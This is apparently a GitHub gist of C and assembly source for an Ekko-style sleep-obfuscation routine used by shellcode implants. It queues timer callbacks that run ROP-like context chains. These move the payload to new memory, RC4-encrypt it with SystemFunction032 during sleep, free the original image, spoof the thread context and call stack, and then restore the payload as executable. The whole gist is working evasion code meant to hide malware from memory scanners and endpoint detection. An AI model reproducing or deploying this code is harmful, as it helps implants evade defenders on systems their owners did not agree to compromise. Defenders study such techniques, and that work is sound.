Skip to content

Instantly share code, notes, and snippets.

@susMdT
Last active March 26, 2024 12:40
Show Gist options
  • Star 14 You must be signed in to star a gist
  • Fork 10 You must be signed in to fork a gist
  • Save susMdT/a10b35e3c06d8837d0260cdfc496c587 to your computer and use it in GitHub Desktop.
Save susMdT/a10b35e3c06d8837d0260cdfc496c587 to your computer and use it in GitHub Desktop.
hahaha da shellcode go brrrr
#include <Core.h>
#include <Win32.h>
#include <Structs.h>
#include <Sleep.h>
#include <Utils.h>
SEC( text, C ) VOID Ekko ( DWORD SleepTime, PINSTANCE Instance)
{
NTSTATUS status = 0;
CONTEXT CtxThread = { 0 };
CONTEXT SpoofContext= { 0 };
CONTEXT RopStart = { 0 };
CONTEXT RopMov = { 0 };
CONTEXT RopMemEnc = { 0 };
CONTEXT RopBackup = { 0 };
CONTEXT RopFree = { 0 };
CONTEXT RopSpoof = { 0 };
CONTEXT RopFix = { 0 };
CONTEXT RopDelay = { 0 };
CONTEXT RopMemDec = { 0 };
CONTEXT RopProtRX = { 0 };
CONTEXT RopSetEvt = { 0 };
HANDLE hTimerQueue = NULL;
HANDLE hNewTimer = NULL;
HANDLE EventTimer = { 0 };
HANDLE EventStart = { 0 };
HANDLE EventEnd = { 0 };
PVOID ImageBase = NULL;
DWORD ImageSize = 0;
DWORD OldProtect = 0x6969;
PVOID NewImageBase = NULL;
// Can be randomly generated
CHAR KeyBuf[ 16 ]= { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
USTRING Key = { 0 };
USTRING Img = { 0 };
PVOID NtContinue = NULL;
PVOID SysFunc032 = NULL;
// For 4th arg, NotificationEvent = 0
// PUtting && here somehow made only the first event create
if ( Instance->Win32.NtCreateEvent( &EventStart, EVENT_ALL_ACCESS, NULL, 0, 0 ) != 0 ||
Instance->Win32.NtCreateEvent( &EventEnd, EVENT_ALL_ACCESS, NULL, 0, 0 ) != 0 ||
Instance->Win32.NtCreateEvent( &EventTimer, EVENT_ALL_ACCESS, NULL, 0, 0 ) != 0 )
{
Instance->Win32.printf( "[ERROR] Failed to create events" );
return;
}
Instance->Win32.RtlCreateTimerQueue( &hTimerQueue) ; // https://doxygen.reactos.org/d8/dd5/ndk_2rtlfuncs_8h.html#a3c33cfe4a773cc54ead6d284427bc12c
ImageBase = (PBYTE)((SIZE_T)Start + 0x1 ); // For some fucking reason if i just do start, it resolves to 0. but +0x1 and then -0x1 works???
ImageBase -= 0x1;
ImageSize = (PVOID)( (SIZE_T)GetRIPEnd) - ImageBase; //Theres a few bytes at the end that this misses but thats fiiiiiine right?
Instance->Win32.printf( "[INFO] ImageBase is 0x%llx\n", ImageBase );
Instance->Win32.printf( "[INFO] ImageSize is 0x%llx\n", ImageSize );
Key.Buffer = KeyBuf;
Key.Length = Key.MaximumLength = 16;
//CtxThread.ContextFlags = CONTEXT_FULL;
// https://doxygen.reactos.org/df/d53/dll_2win32_2kernel32_2client_2timerqueue_8c.html#a1a76d5f2b6b9
if (Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.RtlCaptureContext, &CtxThread, 100, 0, WT_EXECUTEINTIMERTHREAD ) == 0 &&
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtSetEvent, EventTimer, 200, 0, WT_EXECUTEINTIMERTHREAD ) == 0)
{
LARGE_INTEGER li = { 0 };
li.QuadPart = (long)-1000000L * ( (long)2 ); //-10000000L = 1 second
Instance->Win32.printf("[Info] Waiting up to .2 second for timer to trigger\n");
Instance->Win32.NtWaitForSingleObject( EventTimer, 0, &li );
// VX-API OP
CopyMemoryEx( &SpoofContext, &CtxThread, sizeof( CONTEXT ) ); // Crash on second iteration (oh its cause i put copymemoryex on the wrong .text section LMFAO)
CopyMemoryEx( &RopStart, &CtxThread, sizeof( CONTEXT ) );
CopyMemoryEx( &RopMov, &CtxThread, sizeof( CONTEXT ) );
CopyMemoryEx( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );
CopyMemoryEx( &RopFree , &CtxThread, sizeof( CONTEXT ) );
CopyMemoryEx( &RopBackup, &CtxThread, sizeof( CONTEXT ) );
CopyMemoryEx( &RopSpoof, &CtxThread, sizeof( CONTEXT ) );
CopyMemoryEx( &RopDelay, &CtxThread, sizeof( CONTEXT ) );
CopyMemoryEx( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );
CopyMemoryEx( &RopFix, &CtxThread, sizeof( CONTEXT ) );
CopyMemoryEx( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );
CopyMemoryEx( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );
Instance->Win32.printf( "[INFO] Allocating RW memory\n" );
NewImageBase = Instance->Win32.VirtualAlloc(Instance->Location, ImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
Instance->Location = (PBYTE)(NewImageBase) + 0x10000; // This way it roams. Probably gonna hit a shitshow when it reaches a certain number. We don't talk about that.
Instance->Win32.printf( "[INFO] Shellcode will move to 0x%llx\n", NewImageBase );
Img.Buffer = NewImageBase;
Img.Length = Img.MaximumLength = ImageSize;
/* Now we set up the contexts that will be fed to the timers */
// NtWaitForSingleObject( EventTimer, 0, NULL )
RopStart.Rsp -= 8;
RopStart.Rip = Instance->Win32.NtWaitForSingleObject;
RopStart.Rcx = EventStart;
RopStart.Rdx = 0;
RopStart.R8 = NULL;
// RtlMoveMemory( Destination, Source, Length)
RopMov.Rsp -= 8;
RopMov.Rip = Instance->Win32.nRtlMoveMemory;
RopMov.Rcx = NewImageBase;
RopMov.Rdx = ImageBase;
RopMov.R8 = ImageSize;
// SystemFunction032( &Key, &Img );
RopMemEnc.Rsp -= 8;
RopMemEnc.Rip = Instance->Win32.SystemFunction032;
RopMemEnc.Rcx = &Img;
RopMemEnc.Rdx = &Key;
// NtFreeVirtualMemory(ProcessHandle, &BaseAddress, REgionSize, FreeType)
SIZE_T temp = 0;
RopFree.Rsp -= 8;
RopFree.Rip = Instance->Win32.NtFreeVirtualMemory;
RopFree.Rcx = NtCurrentProcess();
RopFree.Rdx = &ImageBase;
RopFree.R8 = &temp;
RopFree.R9 = MEM_RELEASE;
// "Spoof" the call stack while sleeping by capturing context and making the sleeping thread look like its not sleeping?
// Our spoofed stack will be pointed to NtTib StackBase and the RIP will be the one from the context backed up during ROP
HANDLE hDupThandle;
status = Instance->Win32.NtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &hDupThandle, THREAD_ALL_ACCESS, 0, 0 );
SpoofContext.Rip = Instance->Win32.NtWaitForSingleObject;
SpoofContext.Rsp = NtCurrentTeb()->NtTib.StackBase;
// Back up the current context (mid sleep)
// NtGetContextThread( ThreadHandle, &Context );
CONTEXT BackupContext = { 0 };
BackupContext.ContextFlags = CONTEXT_FULL;
RopBackup.Rsp -= 8;
RopBackup.Rip = Instance->Win32.NtGetContextThread;
RopBackup.Rcx = hDupThandle;
RopBackup.Rdx = &BackupContext;
// Capturing current context (mid timer setup) and using it to mask the sleep status.
// NtSetContextThread( ThreadHandle, &Context );
RopSpoof.Rsp -= 8;
RopSpoof.Rip = Instance->Win32.NtSetContextThread;
RopSpoof.Rcx = hDupThandle;
RopSpoof.Rdx = &SpoofContext;
// * sleepy sounds *
// NtWaitForSingleObject( hTargetHdl, BOOL alertable, PLARGE_INTEGER SleepTime );
li.QuadPart = (long)-10000000L * ((long)SleepTime / 1000 ); // -10000000L = 1 second, and our sleeptime is in milliseconds
RopDelay.Rsp -= 8;
RopDelay.Rip = Instance->Win32.NtDelayExecution;
RopDelay.Rcx = FALSE;
RopDelay.Rdx = &li;
// SystemFunction032( &Key, &Img );
RopMemDec.Rsp -= 8;
RopMemDec.Rip = Instance->Win32.SystemFunction032;
RopMemDec.Rcx = &Img;
RopMemDec.Rdx = &Key;
// Fix it so we don't explode
// NtSetContextThread( ThreadHandle, &Context );
RopFix.Rsp -= 8;
RopFix.Rip = Instance->Win32.NtSetContextThread;
RopFix.Rcx = hDupThandle;
RopFix.Rdx = &BackupContext;
/* Changing to RX */
RopProtRX.Rsp -= 8;
RopProtRX.Rip = Instance->Win32.VirtualProtect;
RopProtRX.Rcx = NewImageBase;
RopProtRX.Rdx = Img.Length;
RopProtRX.R8 = PAGE_EXECUTE_READ;
RopProtRX.R9 = &OldProtect;
// SetEvent( hEvent );
RopSetEvt.Rsp -= 8;
RopSetEvt.Rip = Instance->Win32.NtSetEvent;
RopSetEvt.Rcx = EventEnd;
RopSetEvt.Rdx = NULL;
Instance->Win32.printf( "[INFO] Queue timers\n" );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopStart, 100, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopMov, 200, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopMemEnc, 300, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopFree, 400, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopBackup, 500, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopSpoof, 600, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopDelay, 700, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopFix, 800, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopMemDec, 900, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopProtRX, 1000, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.RtlCreateTimer( hTimerQueue, &hNewTimer, Instance->Win32.NtContinue, &RopSetEvt, 1100, 0, WT_EXECUTEINTIMERTHREAD );
Instance->Win32.printf( "[INFO] Wait for EventEnd\n" );
HELPER h = { 0 };
h.NtSignalAndWaitForSingleObject = Instance->Win32.NtSignalAndWaitForSingleObject;
h.Arg1 = EventStart;
h.Arg2 = EventEnd;
h.Arg3 = 0;
h.Arg4 = NULL;
h.NewImageBase = NewImageBase;
h.ImageBase = ImageBase;
StartSleep(h);
Instance->Win32.printf( "[INFO] Finished waiting for event\n" );
}
Instance->Win32.RtlDeleteTimerQueueEx( hTimerQueue, 0 );
Instance->Win32.printf( "[INFO] Og return at 0x%llx\n", __builtin_return_address(0) );
FixRetAddr(ImageBase, NewImageBase); // For some reason, r12 is being moved into rdx instead of some stack offset.
Instance->Win32.printf( "[INFO] Returning to main at 0x%llx\n", __builtin_return_address(0) );
}
// Asm for FixRetAddr
// I cannot guarantee this is safe cause i suck at assembly LMFAO
/*
section .text$C
FixRetAddr:
mov r8, [rbp + 0x8]
sub r8, rcx
add r8, rdx
mov [rbp + 0x8], r8
ret
*/
// Asm for StartSleep
/*
;typedef struct
;{
; PVOID NtSignalAndWaitForSingleObject; 0x00
; PVOID Arg1; 0x08
; PVOID Arg2; 0x10
; PVOID Arg3; 0x18
; PVOID Arg4; 0x20
; PVOID NewImageBase; 0x28
; PVOID ImageBase; 0x30
;} HELPER, *PHELPER;
section .text$C
StartSleep:
; Hold return address in r14
pop r14
; Store original r12
push r12
mov r12, rcx
mov r13, [r12]
mov rcx, [r12 + 0x08]
mov rdx, [r12 + 0x10]
mov r8, [r12 + 0x18]
mov r9, [r12 + 0x20]
; Find our current return address offset from shellcode base, then add that to the NewImageBase
sub r14, [r12 + 0x30]
add r14, [r12 + 0x28]
; Restore r12
pop r12
; push the fixed return address
push r14
; jmp to NtSignalAndWaitForSingleObject
jmp r13
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment